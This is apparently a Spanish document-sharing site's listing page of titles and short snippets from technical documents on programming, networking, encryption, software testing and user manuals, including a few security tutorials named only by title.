MANUAL DE USUARIO. Webservice simple para la exportación rápida de información proveniente de una base de datos. Versión 0,1,1 MANUAL DE USUARIO Webservice simple para la exportación rápida de información proveniente de una base de datos Versión 0,1,1 Jorge Iván Meza Martínez INTRODUCCIÓN Esta aplicación permite

Más detalles

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor.

Objetivo: Introducción conceptual y aplicación básica de los lenguajes del lado del servidor. Sesión 03: Lenguajes web del servidor Competencias a Conseguir: - Conocer el entorno de trabajo a nivel de servidores web. - Instalación del localhost (Servidor Local). - Repaso general de PHP y ejercicios

Más detalles

Introducción a la Firma Electrónica en MIDAS

Introducción a la Firma Electrónica en MIDAS Introducción a la Firma Electrónica en MIDAS Firma Digital Introducción. El Módulo para la Integración de Documentos y Acceso a los Sistemas(MIDAS) emplea la firma digital como método de aseguramiento

Más detalles

FACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0

FACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0 1 er Cuatrimestre de 2011 FACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0 Índice 1. Objetivo 2 2. Preparación del software 2 2.1. Instalación.......................................

Más detalles

Generación de código para funciones. Generación de código para funciones. Generación de código para funciones. Generación de código para funciones

Generación de código para funciones. Generación de código para funciones. Generación de código para funciones. Generación de código para funciones Ejemplo introductorio: escritura de funciones en NASM Ejemplo introductorio: escritura de funciones en NASM En estas transparencias pondremos una subrutina ASPLE y la generación de código equivalente En

Más detalles

6-REGISTROS DEL 8086 Y DEL 80286

6-REGISTROS DEL 8086 Y DEL 80286 ESTRUCTURA DE COMPUTADORES I (Capítulo 6: Los registros del microprocesador 8086) 1/7 6-REGISTROS DEL 8086 Y DEL 80286 6.1 INTRODUCCIÓN: Dentro del procesador existen unos contenedores especiales de 16

Más detalles

Apellidos Nombre DNI

Apellidos Nombre DNI A continuación se muestra el listado de un programa cuyo objetivo es encontrar una palabra dentro de una cadena de caracteres de la sección de datos y copiar dicha palabra en otra zona de la sección de

Más detalles

Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011

Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011 Programación segura Seguridad en los Sistemas Informáticos Ismael Ripoll Universidad Politècnica de València Abril 2011 Ismael Ripoll (Universidad Politècnica de València) Programación segura Abril 2011

Más detalles

Internet Information Server

Internet Information Server Internet Information Server Internet Information Server (IIS) es el servidor de páginas web avanzado de la plataforma Windows. Se distribuye gratuitamente junto con las versiones de Windows basadas en

Más detalles

Pipelining o Segmentación de Instrucciones

Pipelining o Segmentación de Instrucciones Pipelining o Segmentación de Instrucciones La segmentación de instrucciones es similar al uso de una cadena de montaje en una fábrica de manufacturación. En las cadenas de montaje, el producto pasa a través

Más detalles

Problemas de Redes de Computadores. Conjunto de problemas 1

Problemas de Redes de Computadores. Conjunto de problemas 1 Problemas de Redes de Computadores. Ingeniería Técnica en Informática de Gestión Conjunto de problemas 1 Pregunta 1.1: Si configuro mi servidor Web para que no acepte conexiones desde la dirección IP 130.206.1.1,

Más detalles

DIPLOMADO EN SEGURIDAD INFORMATICA

DIPLOMADO EN SEGURIDAD INFORMATICA DIPLOMADO EN SEGURIDAD INFORMATICA Modulo 9: Soporte Computacional Clase 9_3:Protocolos de comunicación y conectividad de arquitecturas multiplataforma. Director Programa: César Torres A Profesor : Claudio

Más detalles

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor.

La utilización de las diferentes aplicaciones o servicios de Internet se lleva a cabo respondiendo al llamado modelo cliente-servidor. Procesamiento del lado del servidor La Programación del lado del servidor es una tecnología que consiste en el procesamiento de una petición de un usuario mediante la interpretación de un script en el

Más detalles

Lenguaje de Programación: Go

Lenguaje de Programación: Go Centro de Investigación y de Estudios Avanzados del I.P.N 9 de Noviembre de 2011 Go Es un lenguaje de programación de propósito general que es promovido por: Rob Pike, Robert Griesemer, Ken Thompson, Russ

Más detalles

Capítulo 2.- Vulnerabilidades en aplicaciones web.

Capítulo 2.- Vulnerabilidades en aplicaciones web. Capítulo 2.- Vulnerabilidades en aplicaciones web. En este capítulo se explican algunas vulnerabilidades en aplicaciones web que pueden ser explotadas por software o por personas malintencionadas y como

Más detalles

Tema 1. Introducción a JAVA

Tema 1. Introducción a JAVA Tema 1. Introducción a JAVA Historia Características Plataforma Java Entorno de desarrollo Ejemplo: Hola mundo Estructura general de un programa Java 1 Historia de Java (i) Surge en 1991: Sun Microsystems

Más detalles

Preguntas y respuestas sobre el cifrado de la información personal. La guía para aprender a cifrar tu información

Preguntas y respuestas sobre el cifrado de la información personal. La guía para aprender a cifrar tu información Guía de Cifrado Preguntas y respuestas sobre el cifrado de la información personal La guía para aprender a cifrar tu información 2 Qué es lo que estamos cuidando? A través del cifrado cuidamos de fotos,

Más detalles

Esquema de un programa en C: bloques básicos

Esquema de un programa en C: bloques básicos Esquema de un programa en C: bloques básicos // Incluimos los ficheros de cabecera que necesitemos. // Esto es un comentario #include #include // Si queremos definir alguna constante,

Más detalles

Preliminares. Tipos de variables y Expresiones

Preliminares. Tipos de variables y Expresiones Preliminares. Tipos de variables y Expresiones Felipe Osorio Instituto de Estadística Pontificia Universidad Católica de Valparaíso Marzo 5, 2015 1 / 20 Preliminares Computadoras desarrollan tareas a un

Más detalles

Punteros. Definición Un puntero es un dato que contiene una dirección de memoria.

Punteros. Definición Un puntero es un dato que contiene una dirección de memoria. Punteros Definición Un puntero es un dato que contiene una dirección de memoria. NOTA: Existe una dirección especial que se representa por medio de la constante NULL (definida en ) y se emplea

Más detalles

PRUEBAS DE SOFTWARE TECNICAS DE PRUEBA DE SOFTWARE

PRUEBAS DE SOFTWARE TECNICAS DE PRUEBA DE SOFTWARE PRUEBAS DE SOFTWARE La prueba del software es un elemento crítico para la garantía de la calidad del software. El objetivo de la etapa de pruebas es garantizar la calidad del producto desarrollado. Además,

Más detalles

Clases y Objetos. Informática II Ingeniería Electrónica

Clases y Objetos. Informática II Ingeniería Electrónica Clases y Objetos Informática II Ingeniería Electrónica Los Tipos de Datos Hasta ahora, en un programa podemos usar para representar variables a: Tipos fundamentales : enteros (int), caracteres (char),

Más detalles

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable

Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable Capítulo 3 Diseño del Sistema de Administración de Información de Bajo Costo para un Negocio Franquiciable 1. Introducción. El Sistema de Administración de Información de un Negocio Franquiciable (SAINF)

Más detalles

Anexo B. Comunicaciones entre mc y PC

Anexo B. Comunicaciones entre mc y PC Anexo B Comunicaciones entre mc y PC En este apartado se hará hincapié en los comandos para el manejo del módulo de comunicaciones desde el PC. Conociendo estos comando se podrá realizar una aplicación

Más detalles

Requisitos mínimos. ANEXO I: Certificado digital

Requisitos mínimos. ANEXO I: Certificado digital Página 1 de 16 ANEXO I: Certificado digital Requisitos mínimos Sistema Operativo o Windows 2000 / XP / Vista / 7 / Server 2003 / Server 2008 y superiores o Linux 2.6 (Guadalinex y Ubuntu) y superiores

Más detalles

Organización de Computadoras

Organización de Computadoras Organización de Computadoras Departamento de Ciencias e Ingeniería de la Computación Universidad Nacional del Sur Segundo Cuatrimestre de 2015 Proyecto N 1 Programación en Lenguaje C El objetivo principal

Más detalles

Introducción al lenguaje de programación java

Introducción al lenguaje de programación java Introducción al lenguaje de programación java Algoritmia y Programación Slide 1 LENGUAJES DE PROGRAMACION Un lenguaje de programación es un idioma artificial diseñado y creado para expresar algoritmos

Más detalles

La ventana de Microsoft Excel

La ventana de Microsoft Excel Actividad N 1 Conceptos básicos de Planilla de Cálculo La ventana del Microsoft Excel y sus partes. Movimiento del cursor. Tipos de datos. Metodología de trabajo con planillas. La ventana de Microsoft

Más detalles

Guía Rápida de Inicio

Guía Rápida de Inicio Guía Rápida de Inicio 1. Acerca de esta Guía Esta guía le ayudará a instalar y dar los primeros pasos con BitDefender Security for SharePoint. Para disponer de instrucciones detalladas, por favor, diríjase

Más detalles

CONCLUSIONES 155 A través de cada uno de los capítulos del presente documento se han enumerado una serie herramientas de seguridad que forman parte del sistema de defensa de una red y que, controlan su

Más detalles

AGREGAR COMPONENTES ADICIONALES DE WINDOWS

AGREGAR COMPONENTES ADICIONALES DE WINDOWS INSTALACIÓN DE IIS EN WINDOWS XP El sistema está desarrollado para ejecutarse bajo la plataforma IIS de Windows XP. Por esta razón, incluimos la instalación de IIS (Servidor de Web) para la correcta ejecución

Más detalles

1. Descripción y objetivos

1. Descripción y objetivos Pruebas 1 1. Descripción y objetivos Las pruebas son prácticas a realizar en diversos momentos de la vida del sistema de información para verificar: El correcto funcionamiento de los componentes del sistema.

Más detalles

Introducción a PHP. * No es necesario declarar previamente las variables.

Introducción a PHP. * No es necesario declarar previamente las variables. Introducción a PHP La programación de sitios web cada día está más orientada al desarrollo de páginas dinámicas y aplicaciones, o sea sitios donde el usuario pueda interactuar con la web. Dentro de los

Más detalles

Modelo de Objetos Distribuidos

Modelo de Objetos Distribuidos Remote Method Invocation Modelo de Objetos Distribuidos Un objeto remoto es un objeto cuyos métodos pueden ser invocados desde otra máquina virtual de java, potencialmente en un host diferente. Modelo

Más detalles

Creación de Funciones de Conducción

Creación de Funciones de Conducción Creación de Funciones de Conducción Requerimientos Para el desarrollo de esta actividad se requiere que: Contemos con un robot BoeBot armado con placa Arduino. Repetición En estos momentos habremos notado

Más detalles

Edición de Ofertas Excel Manual de Usuario

Edición de Ofertas Excel Manual de Usuario Edición de Ofertas Excel Manual de Usuario Alfonso XI, 6 28014 Madrid F(+34) 91 524 03 96 www.omie.es Ref. MU_OfertasExcel.docx Versión 4.0 Fecha: 2012-11-26 ÍNDICE 1 INTRODUCCIÓN 3 2 CONSIDERACIONES DE

Más detalles

Guia rápida EPlus Cliente-Servidor

Guia rápida EPlus Cliente-Servidor Guia rápida EPlus Cliente-Servidor Esta guía permitirá al usuario instalar la aplicación e-plus, para firmar y declarar sus trámites a través de acceso remoto. CONSIDERACIONES GENERALES.- El software eplus

Más detalles

INTRODUCCION. Tema: Protocolo de la Capa de aplicación. FTP HTTP. Autor: Julio Cesar Morejon Rios

INTRODUCCION. Tema: Protocolo de la Capa de aplicación. FTP HTTP. Autor: Julio Cesar Morejon Rios INTRODUCCION Tema: Protocolo de la Capa de aplicación. FTP HTTP Autor: Julio Cesar Morejon Rios Qué es FTP? FTP (File Transfer Protocol) es un protocolo de transferencia de archivos entre sistemas conectados

Más detalles

Workflows? Sí, cuántos quiere?

Workflows? Sí, cuántos quiere? Workflows? Sí, cuántos quiere? 12.11.2006 Servicios Profesionales Danysoft Son notables los beneficios que una organización puede obtener gracias al soporte de procesos de negocios que requieran la intervención

Más detalles

Introducción al Proceso de Pruebas.

Introducción al Proceso de Pruebas. Introducción al Proceso de Pruebas. Javier Gutiérrez / javierj@us.es Introducción al proceso de pruebas Objetivo: repasar las ideas principales sobre las pruebas del software y, en concreto, las que usaremos

Más detalles

Mi primer proyecto en Dev-C++

Mi primer proyecto en Dev-C++ Mi primer proyecto en Dev-C++ Para realizar esta actividad deberás disponer de un ordenador en el que esté instalado el Dev-C++. Debes ir realizando cada uno de los pasos indicados, en el mismo orden en

Más detalles

Comisión Nacional de Bancos y Seguros

Comisión Nacional de Bancos y Seguros Comisión Nacional de Bancos y Seguros Manual de Usuario Capturador de Pólizas División de Servicios a Instituciones Financieras Mayo de 2011 2 Contenido 1. Presentación... 3 1.1 Objetivo... 3 2. Descarga

Más detalles

COPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA

COPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA COPIAS DE SEGURIDAD AUTOMÁTICAS DE DIRECCIONES CALLEÇPAÑA Autor: Carlos Javier Martín González. Licenciado en Física Teórica por la Universidad Autónoma de Madrid. Analista programador y funcional. Desarrollador

Más detalles

Lógica Binaria. Arquitectura de Ordenadores. Codificación de la Información. Abelardo Pardo abel@it.uc3m.es. Universidad Carlos III de Madrid

Lógica Binaria. Arquitectura de Ordenadores. Codificación de la Información. Abelardo Pardo abel@it.uc3m.es. Universidad Carlos III de Madrid Arquitectura de Ordenadores Codificación de la Información Abelardo Pardo abel@it.uc3m.es Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Lógica Binaria COD-1 Internamente el ordenador

Más detalles

Invocación por protocolo de aplicaciones nativas desde páginas Web

Invocación por protocolo de aplicaciones nativas desde páginas Web Invocación por protocolo de aplicaciones nativas desde páginas Web Qué es la invocación por protocolo? Es un funcionamiento universal que los sistemas operativos mantengan una serie de asociaciones entre

Más detalles

Módulo 1 El lenguaje Java

Módulo 1 El lenguaje Java Módulo 1 El lenguaje 1.1 Presentación de es un lenguaje de programación desarrollado por la empresa Sun Microsystems en 1991 como parte de un proyecto secreto de investigación llamado Green Proyect, con

Más detalles

Información sobre seguridad

Información sobre seguridad Información sobre seguridad SMART kapp incluye características de protección de datos diseñadas para mantener el contenido controlador de forma predecible. En esta página se explican las características

Más detalles

Apéndice 5 Manual de usuario de ColeXión. ColeXión 1.0. Manual de usuario

Apéndice 5 Manual de usuario de ColeXión. ColeXión 1.0. Manual de usuario Apéndice 5 Manual de usuario de ColeXión ColeXión 1.0 Manual de usuario Índice 1. Qué es ColeXión?... 2 2. Requerimientos del sistema... 3 3. Instalación de ColeXión... 3 4. Creación de un nuevo esquema...

Más detalles

El proceso de Instalación de Microsoft SQL Server 2008

El proceso de Instalación de Microsoft SQL Server 2008 El proceso de Instalación de Microsoft SQL Server 2008 Luis Alejandro Esteban C - nave_tze@hotmail.com Este documento va dirigido a profesionales de tecnología interesados en entender el proceso de instalación

Más detalles

Visual Basic 1. Empleo de módulos y Procedimientos. Procedimientos definidos por el usuario

Visual Basic 1. Empleo de módulos y Procedimientos. Procedimientos definidos por el usuario Empleo de módulos y Procedimientos Procedimientos definidos por el usuario Según lo que hemos visto hasta ahora, Visual Basic, almacena el código en módulos. Hay tres clases de módulos: formularios (.frm),

Más detalles

WINDOWS 2008 7: COPIAS DE SEGURIDAD

WINDOWS 2008 7: COPIAS DE SEGURIDAD 1.- INTRODUCCION: WINDOWS 2008 7: COPIAS DE SEGURIDAD Las copias de seguridad son un elemento fundamental para que el trabajo que realizamos se pueda proteger de aquellos problemas o desastres que pueden

Más detalles

SEGURIDAD Y PROTECCION DE FICHEROS

SEGURIDAD Y PROTECCION DE FICHEROS SEGURIDAD Y PROTECCION DE FICHEROS INTEGRIDAD DEL SISTEMA DE ARCHIVOS ATAQUES AL SISTEMA PRINCIPIOS DE DISEÑO DE SISTEMAS SEGUROS IDENTIFICACIÓN DE USUARIOS MECANISMOS DE PROTECCIÓN Y CONTROL INTEGRIDAD

Más detalles

MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER JAVA. Versión 4.0

MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER JAVA. Versión 4.0 MANUAL DE INSTALACIÓN DEL COMPONENTE WEBSIGNER JAVA Versión 4.0 1 Control Versión 1.0 Fecha: 01-07-2011 Modificaciones: Primera versión. Versión 2.0 Fecha: 22-09-2011 Modificaciones: Adaptado a websigner

Más detalles

SENTINEL REMOTE CONTROL (S.R.C)

SENTINEL REMOTE CONTROL (S.R.C) SENTINEL REMOTE CONTROL (S.R.C) Versión G-0.5 Índice de contenidos 0.Consideraciones acerca de este producto...3 1.Objetivo del SRC...3 2.0 Instalación...3 2.1.Parte cliente (gclient)...4 2.1.Parte servidora

Más detalles

Programación de código seguro

Programación de código seguro Programación de código seguro Distinción de vulnerabilidades Stack OverFlow y Heap OverFlow Comunes en lenguajes y aplicaciones de escritorio TOP 10 OWASP Muchas otras Stack OverFlow Stack OverFlow: Ejemplo

Más detalles

Unidad III El lenguaje de programación C 1. 2. 3. 4. 5. 6. 7. 8.

Unidad III El lenguaje de programación C 1. 2. 3. 4. 5. 6. 7. 8. Unidad III 1. Introducción. 2. Breve historia del C. 3. Lenguajes de programación de alto nivel, bajo nivel y nivel medio. 4. Compiladores e intérpretes. 5. Compilación, enlace y generación de un programa

Más detalles

CRIPTOGRAFÍA SIMÉTRICA Y ASIMÉTRICA

CRIPTOGRAFÍA SIMÉTRICA Y ASIMÉTRICA CRIPTOGRAFÍA SIMÉTRICA Y ASIMÉTRICA Para generar una transmisión segura de datos, debemos contar con un canal que sea seguro, esto es debemos emplear técnicas de forma que los datos que se envían de una

Más detalles

Procedimiento. Actualización de Kit de Conexión de Comercios Webpay versión 5.X a 6.0.2. Canales Remotos Operaciones. Transbank S.A.

Procedimiento. Actualización de Kit de Conexión de Comercios Webpay versión 5.X a 6.0.2. Canales Remotos Operaciones. Transbank S.A. [Código] Versión [n.n] Procedimiento Actualización de Kit de Conexión de Comercios Webpay versión 5.X a 6.0.2 Canales Remotos Operaciones Uso restringido a comercios Actualización KCC Webpay 6.0 a 6.0.2

Más detalles

Métodos de verificación de usuarios en ELMS 1.1

Métodos de verificación de usuarios en ELMS 1.1 Métodos de verificación de usuarios en ELMS 1.1 2012-12-21 Kivuto Solutions Inc. [CONFIDENCIAL] TABLA DE CONTENIDO DESCRIPCIÓN GENERAL...1 MÉTODOS DE VERIFICACIÓN...2 Verificación de usuario integrada

Más detalles

PROGRAMACIÓN PÁGINAS WEB CON PHP

PROGRAMACIÓN PÁGINAS WEB CON PHP PROGRAMACIÓN PÁGINAS WEB CON PHP Curso de desarrollo de aplicaciones web. Para ello se estudia la programación de la parte cliente con JavaScript y la programación de la parte servidor con la tecnología

Más detalles

Resumen del trabajo sobre DNSSEC

Resumen del trabajo sobre DNSSEC Resumen del trabajo sobre Contenido 1. -...2 1.1. - Definición...2 1.2. - Seguridad basada en cifrado...2 1.3. - Cadenas de confianza...3 1.4. - Confianzas...4 1.5. - Islas de confianza...4 2. - Conclusiones...5

Más detalles

Estructuras de Sistemas Operativos

Estructuras de Sistemas Operativos Estructuras de Sistemas Operativos Definicion de Sistema Operativos Un sistema operativo es un programa que actua como inter entre el usuario y el hardware de un computador y su proposito es proporcionar

Más detalles

Introducción... 1 Qué es Java?... 1 Compilando a Bytecode... 1 Usando jgrasp Para Hacer el Trabajo Sucio... 5 El Entorno de jgrasp...

Introducción... 1 Qué es Java?... 1 Compilando a Bytecode... 1 Usando jgrasp Para Hacer el Trabajo Sucio... 5 El Entorno de jgrasp... Contenido Introducción... 1 Qué es Java?... 1 Compilando a Bytecode... 1 Usando jgrasp Para Hacer el Trabajo Sucio... 5 El Entorno de jgrasp... 5 Introducción Es tiempo de hablar en detalle de lo que significa

Más detalles

PDF created with pdffactory Pro trial version www.pdffactory.com

PDF created with pdffactory Pro trial version www.pdffactory.com Este libro está diseñado y escrito para aquellas personas que, conociendo HTML y JavaScript, desean dar un salto cuantioso en la creación de sitios web, con la programación dinámica en el lado del servidor.

Más detalles

MANUAL COPIAS DE SEGURIDAD

MANUAL COPIAS DE SEGURIDAD MANUAL COPIAS DE SEGURIDAD Índice de contenido Ventajas del nuevo sistema de copia de seguridad...2 Actualización de la configuración...2 Pantalla de configuración...3 Configuración de las rutas...4 Carpeta

Más detalles

2 EL DOCUMENTO DE ESPECIFICACIONES

2 EL DOCUMENTO DE ESPECIFICACIONES Ingeniería Informática Tecnología de la Programación TEMA 1 Documentación de programas. 1 LA DOCUMENTACIÓN DE PROGRAMAS En la ejecución de un proyecto informático o un programa software se deben de seguir

Más detalles

Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA

Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA Propuesta de Portal de la Red de Laboratorios Virtuales y Remotos de CEA Documento de trabajo elaborado para la Red Temática DocenWeb: Red Temática de Docencia en Control mediante Web (DPI2002-11505-E)

Más detalles

Manual del Protocolo XML-RPC de Mensajería Negocios

Manual del Protocolo XML-RPC de Mensajería Negocios Manual del Protocolo XML-RPC de Mensajería Negocios Índice de contenidos 1 INTRODUCCIÓN... 3 2 FUNCIONALIDADES DEL API DE COMUNICACIÓN XML-RPC... 4 2.1 Envío Libre... 4 2.2 Envío a Grupo de Contactos...

Más detalles

INTRODUCCIÓN A LA PROGRAMACIÓN WEB UNIDAD. Estructura de contenidos: http://www.ucv.edu.pe/cis/ cisvirtual@ucv.edu.pe. 1.

INTRODUCCIÓN A LA PROGRAMACIÓN WEB UNIDAD. Estructura de contenidos: http://www.ucv.edu.pe/cis/ cisvirtual@ucv.edu.pe. 1. INTRODUCCIÓN A LA PROGRAMACIÓN WEB UNIDAD 1 Estructura de contenidos: 1. Programación Web 2. Sistema De Información 3. Sistema Web 4. Requisitos Para Sistemas Web Con Asp 5. Internet Information Server

Más detalles

Maxpho Commerce 11. Gestión CSV. Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd

Maxpho Commerce 11. Gestión CSV. Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd Maxpho Commerce 11 Gestión CSV Fecha: 20 Septiembre 2011 Versión : 1.1 Autor: Maxpho Ltd Índice general 1 - Introducción... 3 1.1 - El archivo CSV... 3 1.2 - Módulo CSV en Maxpho... 3 1.3 - Módulo CSV

Más detalles

Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13

Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 Práctico Seguridad Sistemas Operativos Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 1) Suponga que se previene la ejecucion de datos localizados en la pila de una funcion (osea,

Más detalles

Prof. Dr. Paul Bustamante

Prof. Dr. Paul Bustamante Prácticas de C++ Practica Nº 10 Informática II Fundamentos de Programación Prof. Dr. Paul Bustamante INDICE 1.1 EJERCICIO 1: MI PRIMER FICHERO EN BINARIO... 1 1.2 EJERCICIO 2: LEYENDO MI PRIMER FICHERO

Más detalles

Cómo ingresar a la Sucursal Electrónica?

Cómo ingresar a la Sucursal Electrónica? Tabla de Contenidos Cómo ingresar a la Sucursal Electrónica? 2 Página Principal 3 Cómo consultar o eliminar colaboradores o proveedores en mi plan de Proveedores o Planillas? 4 Consultas y Exclusiones

Más detalles

Puedo estar tranquilo acerca de la información de mi empresa? Donde puedo poner mis archivos cuando viajo?

Puedo estar tranquilo acerca de la información de mi empresa? Donde puedo poner mis archivos cuando viajo? Puedo estar tranquilo acerca de la información de mi empresa? Donde puedo poner mis archivos cuando viajo? Cómo hago llegar esta información confidencial a mis gerentes o clientes? Necesito un lugar donde

Más detalles

MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD

MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD MANUAL DE AYUDA TAREA PROGRAMADA COPIAS DE SEGURIDAD Fecha última revisión: Diciembre 2010 Tareas Programadas TAREAS PROGRAMADAS... 3 LAS TAREAS PROGRAMADAS EN GOTELGEST.NET... 4 A) DAR DE ALTA UN USUARIO...

Más detalles

Acronis License Server. Guía del usuario

Acronis License Server. Guía del usuario Acronis License Server Guía del usuario TABLA DE CONTENIDO 1. INTRODUCCIÓN... 3 1.1 Generalidades... 3 1.2 Política de licencias... 3 2. SISTEMAS OPERATIVOS COMPATIBLES... 4 3. INSTALACIÓN DE ACRONIS LICENSE

Más detalles

Explotación de Overflow en memoria heap en Windows Explotación de memoria heap personalizada en Windows 7

Explotación de Overflow en memoria heap en Windows Explotación de memoria heap personalizada en Windows 7 Explotación de Overflow en memoria heap en Windows Explotación de memoria heap personalizada en Windows 7 Autor: Souhail Hammou Traducción al Español (Latinoamericano,México): Christian Guzmán Blog: http://rce4fun.blogspot.com/

Más detalles

Uso de la red telefónica

Uso de la red telefónica Copyright y marca comercial 2004 palmone, Inc. Todos los derechos reservados. palmone, Treo, los logotipos de palmone y Treo, Palm, Palm OS, HotSync, Palm Powered, y VersaMail son algunas de las marcas

Más detalles

SISTEMAS DE NOMBRES DE DOMINIO

SISTEMAS DE NOMBRES DE DOMINIO SISTEMAS DE NOMBRES DE DOMINIO La historia del sistema de nombres de dominio, DNS, se remonta a la década de los setenta, donde cada una de las computadoras conectadas a la red tenía asignada una dirección

Más detalles

Tutorial: Primeros Pasos con Subversion

Tutorial: Primeros Pasos con Subversion Tutorial: Primeros Pasos con Subversion Introducción Subversion es un sistema de control de versiones open source. Corre en distintos sistemas operativos y su principal interfaz con el usuario es a través

Más detalles

Servidores de nombres de dominio (DNS) Jesús Torres Cejudo

Servidores de nombres de dominio (DNS) Jesús Torres Cejudo Zonas Zona de Búsqueda Directa.- Las resoluciones de esta zona devuelven la dirección IP correspondiente al recurso solicitado; este tipo de zona realiza las resoluciones que esperan como respuesta la

Más detalles

Semana 13: Encriptación. Cifrado simétrico

Semana 13: Encriptación. Cifrado simétrico Semana 13: Encriptación Cifrado simétrico Aprendizajes esperados Contenidos: Características y principios del cifrado simétrico Algoritmos de cifrado simétrico Encriptación Simétrica En la encriptación

Más detalles

Manual de NetBeans y XAMPP

Manual de NetBeans y XAMPP Three Headed Monkey Manual de NetBeans y XAMPP Versión 1.0 Guillermo Montoro Delgado Raúl Nadal Burgos Juan María Ruiz Tinas Lunes, 22 de marzo de 2010 Contenido NetBeans... 2 Qué es NetBeans?... 2 Instalación

Más detalles

Información sobre seguridad

Información sobre seguridad Información sobre seguridad SMART kapp iq incluye características de seguridad de datos diseñadas para mantener su contenido de controlado de forma predecible. En esta página se explican las características

Más detalles

Transacciones y bloqueos en SQL-Server

Transacciones y bloqueos en SQL-Server Transacciones y bloqueos en SQL-Server (Información para el uso desde Axapta) Introducción En este documento vamos a intentar explicar cuatro conceptos básicos acerca de las transacciones y los bloqueos

Más detalles

JavaScript como Orientación a Objetos

JavaScript como Orientación a Objetos Gustavo Lacoste (gustavo@lacosox.org) October 2012 Resumen El objetivo de las siguientes notas es generar una estructura en JavaScript que nos permita reutilizar de manera limpia las funciones creadas

Más detalles

Introducción a la plataforma Moodle Aníbal de la Torre 2006. Plataforma Moodle. Accediendo a los contenidos

Introducción a la plataforma Moodle Aníbal de la Torre 2006. Plataforma Moodle. Accediendo a los contenidos Plataforma Moodle Accediendo a los contenidos Formatos ----------------------------------------------------------------------- 2 Glosarios -----------------------------------------------------------------------

Más detalles

ACTIVIDADES TEMA 1. EL LENGUAJE DE LOS ORDENADORES. 4º E.S.O- SOLUCIONES.

ACTIVIDADES TEMA 1. EL LENGUAJE DE LOS ORDENADORES. 4º E.S.O- SOLUCIONES. 1.- a) Explica qué es un bit de información. Qué es el lenguaje binario? Bit es la abreviatura de Binary digit. (Dígito binario). Un bit es un dígito del lenguaje binario que es el lenguaje universal usado

Más detalles

Tema 6. Reutilización de código. Programación 2015-2016. Programación - Tema 6: Reutilización de código

Tema 6. Reutilización de código. Programación 2015-2016. Programación - Tema 6: Reutilización de código Tema 6 Reutilización de código Programación 2015-2016 Programación - Tema 6: Reutilización de código 1 Tema 6. Reutilización de código Modularidad. Implementación de métodos. Uso de métodos. Programación

Más detalles

Práctica 00: Compilador

Práctica 00: Compilador Práctica 00: Compilador El objetivo de esta práctica es aprender a utilizar el compilador y el entorno de desarrollo instalado en las aulas de la Escuela Técnica Superior de Ingeniería ICAI. 1. Compiladores

Más detalles

Telnet Comunicaciones 1. Luis Alfredo da Silva 20.232.871 Gregori Gonzalez 21.218.739 Rhamin Elrhouate 19.777.404 July 2014

Telnet Comunicaciones 1. Luis Alfredo da Silva 20.232.871 Gregori Gonzalez 21.218.739 Rhamin Elrhouate 19.777.404 July 2014 Telnet Comunicaciones 1 Luis Alfredo da Silva 20.232.871 Gregori Gonzalez 21.218.739 Rhamin Elrhouate 19.777.404 July 2014 1 1 Telnet 1.1 Introducción Telnet es uno de los protocolos más antiguos de internet

Más detalles